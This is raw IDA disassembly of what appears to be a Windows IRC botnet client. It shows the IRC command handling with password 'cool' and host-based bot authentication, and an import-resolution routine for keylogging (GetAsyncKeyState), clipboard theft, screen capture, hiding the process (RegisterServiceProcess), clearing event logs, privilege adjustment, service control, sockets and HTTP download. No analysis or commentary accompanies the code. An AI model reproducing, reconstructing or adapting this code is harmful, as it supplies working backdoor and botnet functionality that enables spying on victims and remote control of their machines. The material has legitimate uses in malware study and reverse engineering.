		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 26A0428h


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		nop
		call	near ptr 26A0428h

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26D0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		call	near ptr 26A0E98h
		nop
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


